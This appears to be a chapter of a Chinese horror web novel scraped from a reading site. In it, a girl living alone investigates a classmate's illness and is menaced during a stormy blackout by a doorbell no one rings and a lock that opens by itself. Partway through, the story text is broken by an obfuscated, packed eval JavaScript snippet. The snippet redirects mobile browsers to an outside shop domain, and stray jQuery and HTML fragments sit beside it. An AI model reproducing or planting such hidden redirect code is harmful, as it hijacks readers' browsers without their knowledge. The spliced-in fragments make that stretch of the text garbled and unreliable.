“滴滴。”
衣服口袋里突然传来了提示音,白栀怔了一下,拿出手机,发现是张老师发来的消息。
【栀栀,你到家了吗?】
【到家了,试卷我也送给苏玥了。】
【好的,早点休息,麻烦你了^_^】
【不客气,这是我应该做的。】
白栀想了想,又给她发了一条消息。
【张老师,苏玥病得很严重吗?她好像连着请了好几天的假,我有点担心。】
【这个不太清楚,她没细说……不过苏玥这孩子一向勤奋努力,不可能假装生病请假逃课,我想着她都主动请假了,肯定是病得有点严重,就多批了几天假。】
【我记得您说苏玥是参加完前不久的数学竞赛后开始生病的?是在哪里参加的竞赛呀?】
【是滨海一中,你忘了吗?数学竞赛举办地点一直都是我们学校和滨海一中轮着来的呀。上次是我们学校,这次就轮到滨海一中办了。】
滨海一中。
这个熟悉的校名,让白栀突然想到了前不久听到的关于滨海一中的“吃人怪谈”。
「“……死得可惨了,血肉和内脏全都被吃掉了,听说最后只找到了一些毛发和碎骨头……”」
同学的话回荡在她的脑海中。
她打开网页,试着搜索和滨海一中相关的话题,却并没有看到什么“吃人”相关的讨论。
有且仅有的,是滨海一中不久前发生的“捅人事件”,说是伤人者学习压力太大,才会精神失常捅了同学,学校官方还特意发公告呼吁大家学习要劳逸结合。
看起来一切都很正常。
刚才那个穿着景明校服的人影……真的是苏玥吗?
玉榕府里,除了她和凌漾以外,似乎没有其他在景明就读的同学。
可是那个人一头长发,身形上看十分瘦弱,明显是个女孩子。
但如果真的是苏玥,她为什么要到这里来?
她怀疑自己是否是因为凌漾的异常过于敏感了,但心里的古怪感却始终挥之不去。
白栀抬起头,凌漾就住她家对面,从落地窗望出去正好可以看见他家的别墅,以往他们总是一起上学放学,她到家时看见对面的别墅亮起来,就知道他也到家了。
可是今天,明明已经这么晚了,对面的别墅却始终笼罩在一片朦胧的黑色中。
凌漾好像还没回来。
窗外的风渐渐大了起来,天气预报说今晚可能会有大暴雨。
白栀思索片刻,给物业的安保人员发了个消息:【陈哥好,不好意思打扰了,我想问一下,今天玉榕府有外面的客人进来吗?】
“陈哥”大名陈远山,是这里的安保人员,比她大不了几岁,平时负责夜间巡视的工作,对她也比较关照。
陈远山消息回复得很快:【有两个……怎么了?】
白栀向他描述了一下今天傍晚见到的那个人影的特征。
【没有这个人。】陈远山回答得很肯定,【今天来的两个访客都是男性,身高虽然不是特别高大,但也不会被错认成女孩子。】
【监控里也没有拍到这个人吗?】
【没有。】陈远山解释道,【白栀你也知道,我们这儿管理都是很严格的,外人不能随便进入,就算要进出都是要由业主带着,还要登记信息。而且每天晚上我们都会巡逻,知道你现在一个人住,每次路过你家我们都会更仔细留意有没有问题,如果有可疑人物出现,我们肯定会发现的。】
【嗯,谢谢陈哥,让你们费心了。】
【不用客气,这是我们应该做的。】说着陈远山还开了个玩笑,【怎么突然担心起这个来了?你的护花使者呢?他没在你身边?】
【凌漾有事,没和我一起回来。】白栀补充道,【而且他不是我的护花使者,我们只是朋友。】
虽然监控显示没有外人进来,但白栀也没放松警惕。
她在别墅三层挨个检查了一圈,确定没有可疑迹象,门口的可视门铃能正常工作,又给智能密码锁换了新电池,这才回到卧室,反锁了房门。
因为总是一个人住,白栀早就和物业还有保安搞好了关系,她长得漂亮,人又温柔可爱,还时不时送人点小礼物,大人们都愿意多照顾她几分。
不过她麻烦旁人的时候并不多,凌漾就住她对面,平时真有什么事,她打个电话他就过来了,比安保人员和警察来得都快。
可是今天,直到她洗漱完毕准备睡觉,对面别墅的灯也没有亮起来。
凌漾好像一直没回家。
*
这一觉,白栀睡得并不安稳。
她梦到了和凌漾第一次见面时的情形。
那时他们刚搬来玉榕府不久,为了探索新地图,她拿着系统商城里买的手工饼干,借着和邻居打好关系的理由,挨个敲门送人。
【“阿姨好,我叫栀栀,是最近新搬来的住户。我妈妈烤了手工饼干作为见面礼,让我带给其他小朋友,希望大家以后可以好好相处。”】
【“谢谢你妈妈的好意,不过饼干就不用了。”】
【“阿姨,你就收下饼干吧,真的很好吃,我妈妈烤了好久的。”】
或者是门里的人不希望她长时间站在这里引人注目——短暂的犹豫之后,门还是打开了。
对方是个中年妇女,容貌普通,气质柔和,打扮并不雍容,应该是这家的保姆。
这座别墅的装潢十分奢华复古,客厅的背面是巨大的落地窗,落地窗外种满了常青树,金色的阳光照在树叶上,微风拂过,碎影在客厅的木质地板上晃动摇曳。
树影正中,坐着一个小男孩。
他背对着她,从身形上看,应该和白栀差不多大。
六、七岁的小孩子正是好奇心旺盛的时候,可是白栀和保姆在这里说了半天话,男孩却没有过来凑热闹的意思。
或许是她看他的时间太久,一直背对着她的男孩似乎有所察觉,突然侧过头,抬眼朝着她的方向望了过来。
那是一张精致的、空洞的脸。
明明没有风,走廊上的风铃却叮叮当当地响了起来。
室内好像突然降温了。
白栀望着那个男孩,她知道他是凌漾,也知道按照回忆,她下一步就应该转身离开。
可是她动也不能动,甚至无法移开视线。
因为梦境中那个无比熟悉的男孩,突然散落成了无数黑白色的“线”,“黑线”和“白线”翻涌着缠绕上她的手腕、脚踝、躯干,紧紧包裹着她、束缚着她……遮挡了她的所有视野,直到将她彻底淹没。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142940|150179||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
白栀被惊醒了。
*
暴风雨果然来了。
屋外大雨倾盆,狂风呼啸而过,吹得落地窗微微震颤,树枝在风雨中疯狂晃动,仿佛一截截苍白的手臂在乱舞。
空气中充斥着雨水的湿冷感,还有泥土混合青草的腥气,让人有些不适。
墙上的石英钟滴滴答答地走着,现在是凌晨三点。
小腹处隐隐作痛,白栀满头冷汗地起身,才发现自己月经提前了。
她换好卫生巾,想开灯去楼下拿止痛药,然而按下开关后灯却没有亮。
停电了。
白栀握住卧室门把的手微微一顿。
独居女性大概都听说过这个例子,一个人住时,家里如果突然停电,千万不要着急出门查看,先拿出手机试试,如果能搜到邻居家的Wi-Fi,说明只有你家停电,这可能是坏人引诱你出门的手段。
但是她用手机试过了,周围一圈都没有热点。
也就是说,不止是她家,整个玉榕府都停电了。
更糟糕的是,不知道是不是暴风雨太大的缘故,她的手机一格信号都没有。
“叮咚——”
楼下突然传来了门铃声。
白栀瞬间有种寒毛倒竖的感觉。
有人在按她家的门铃?
可是这么晚了,外面雨又下得这么大,什么人会在这个时候上门拜访?
白栀打开手机,可视门铃的监控和她的手机连在一起,所以她不需要下楼,只通过手机就能看到门外的情况。
但是,监控视频显示外面漆黑一片,监控视野里空荡荡的,只有台阶旁的几株小花在风中晃动,其余什么都没有。
“叮咚——”
“叮咚——”
门铃又响了几声。
可视门铃的监控区很广,如果要按响门铃,那个人必然会出现在监控中。
可现在,门铃在响,门外却空荡荡的。
没有人在按门铃。
那是门铃出故障了吗?
又或者是暴风雨太激烈,影响了门铃的敏感度,导致了误判?
毕竟以前偶尔也出现过这种问题。
“叮咚”声没能持续太久,几声过后,门铃彻底安静了下去,没有再响起。
或许真的是故障。
别墅里一片寂静,她的卧室也很静,静到她能清楚地听见自己急促的心跳声。
静得好像全世界就只剩下她一个人。
房间都是黑色的,入目之处,只能凭借手机微弱的光来照明。
无光无声的环境里,每一秒都被拉得无比漫长。
屋外暴雨不歇,屋内却一片死寂,像是泾渭分明的两个世界。
白栀犹豫片刻,最终松开握住门把的手,放弃了开门去客厅拿止痛药的想法。
反正也没痛到昏迷的程度,还是忍忍吧。
她想。
白栀重新躺回床上,她缩进温暖的被子中,在床上翻来覆去了几圈,缓缓闭上了眼睛。
希望明早醒来,暴风雨就已经停了。
如此祈祷着,白栀迷迷糊糊地坠入梦中,就在这时,楼下响起了冰冷的机械女声。
是智能密码锁的提示音。
“门已开,请进。”